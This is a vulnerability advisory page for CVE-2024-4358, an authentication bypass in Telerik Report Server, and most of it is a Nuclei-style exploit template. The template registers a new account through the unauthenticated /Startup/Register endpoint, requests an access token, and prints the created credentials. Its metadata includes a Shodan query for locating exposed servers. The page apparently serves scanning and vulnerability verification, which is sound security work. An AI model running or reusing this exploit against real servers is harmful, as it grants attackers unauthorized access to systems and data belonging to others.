CVE-2024-4358: Progress Telerik Report Server - Authentication Bypass

2025-08-01 Progress Telerik Report Server PoC Public

Description

In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.

PoC

id: CVE-2024-4358

info:
  name: Progress Telerik Report Server - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
  impact: An unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
  remediation: Updating to Report Server 2024 Q2 (10.1.24.514) or later.
  reference:
    - https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
    - https://github.com/sinsinology/CVE-2024-4358
    - https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358
  classification:
    epss-score: 0.97482
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:progress:telerik_report_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Log in | Telerik Report Server"
    product: telerik_report_server
    vendor: progress
  tags: cve,cve2024,telerik,progress,auth-bypass,instrusive,kev,vkev,vuln
variables:
  user: "{{rand_base(6)}}"
  pass: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /Startup/Register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}

      - |
        POST /Token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=password&username={{user}}&password={{pass}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type_2, "application/json")'
          - 'contains_all(body_2, "access_token", "userName", "token_type")'
          - 'status_code_2 == 200'
        condition: and

    extractors:
      - type: regex
        name: token
        part: body_2
        group: 1
        regex:
          - '"access_token":"([A-Z0-9a-z_-]+)"'
        internal: true

      - type: dsl
        dsl:
          - '"Username: "+ user'
          - '"Password: "+ pass'
# digest: 4a0a00473045022100dd22f8264ec7a83381ca3581881bf358afc8e8a06d3a3264c1885a01df51058d0220465f05fc6800ed9b3c9406e66704924b7ea35a61634bbcd60b95dc6ac89ac11c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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